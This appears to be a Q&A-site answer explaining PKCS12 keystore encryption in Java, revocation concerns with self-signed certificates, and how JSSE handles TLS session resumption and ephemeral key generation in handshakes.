Java's version of PKCS12 (like most) uses 3/3DES for privatekeys, which is what you should care about; (again like most) it 'encrypts' the certbag with RC2-40, which is very weak and basically useless because certs aren't secret. While not the theoretically strongest possible, 3/3DES is strong enough against any near-term conventional attack. What experts fear sometime vaguely-soon-ish is quantum attacks, but no one yet knows what the 'correct' solution for post-quantum crypto (PQC) is; the few experimental algorithms that exist now (1) aren't used for keystores (2) may well be changed, perhaps incompatibly (3) may turn out to have problems. If you really want, you could use PKCS12 and superencrypt the file with (some) PQC; BouncyCastle has a few options in a special provider, if you (can) use that. That way even if the PQC turns out to be useless you still have the 3DES, and if you need to change it you can just re-encrypt the file without needing to understand the contents.

Is there an issue with the certificates being self-signed considering I'm solely using them between peers of the same application?

Less so than otherwise. It does mean you can't use PKI to revoke them, but must have some other means, that works reliably -- unless you don't need revocation because all your endpoints are controlled, top to bottom, by people who never make mistakes or have the personal situation change (e.g. marry, divorce, get a job, lose a job, etc).

Considering I'm doing Java, do SSLSockets/SSLServerSockets create a "brand new session" for every new connection, as in, do they reuse the private or public key? Are private keys generated when making a handshake with a client?

SSL and TLS through 1.2 allows session resumption, which does an 'abbreviated' handshake that reuses the session 'master secret' from a previous connection's full handshake, as long as (in both senses) both endpoints have cached it. Most servers implement this and (AFAIK all) browsers use it extensively; Java JSSE implements it by default, although you can limit the number (size) or timeout. There is also a less-used option which stores a 'ticket' on the client only and uses that; see What are the differences between Session Ticket and Session ID based Session Resumption? SSL/TLS Session Resumption with Session Tickets and (my) https://crypto.stackexchange.com/questions/15209/compare-rfc-5246-sessionid-re-use-versus-rfc-5077-session-resumption . JSSE does not implement this. Either of these eliminates all the public-key crypto operations on the new session (when successful).
TLS 1.3 eliminates both of these and instead has a new mechanism which reuses the authentication but optionally does a new keyexchange (XXDHE); see my answer on the crypto.SX link above. This eliminates all or only some of the PKC (again when successful). In versions that implement TLS 1.3 (j11+) JSSE does implement this, apparently (per the debug log) only the with-XXDHE option, but there was at least one bug, see https://stackoverflow.com/questions/53913758/java-11-https-connection-fails-with-ssl-handshakeexception-while-using-jsoup .
For full handshakes in TLS 1.2 (and below) which use 'ephemeral' keyexchange (DHE or ECDHE in the ciphersuite), and for all full (non-PSK) handshakes in 1.3 as well as PSK handshakes that elect XXDHE (which as noted above Java does) both endpoints generate an ephemeral keypair used in the keyexchange. Otherwise not. (The 'export' ciphersuites in SSLv3 and older TLS could sometimes use a uncertificated keypair that might, or might not, be ephemeral, but those ciphersuites were obsoleted long ago, even before the older protocol versions that supported them.) If you are concerned because RSA keypair generation is expensive, don't be; DHE or ECDHE (XXDHE) keypair generation is cheap, at least in CPU; it does require some randomness, but SSL/TLS always requires a random nonce for the protocol, and also random IVs if you use a CBC-mode ciphersuite in 1.2 or 1.1, and I'm pretty sure JSSE reuses the RNG (SecureRandom).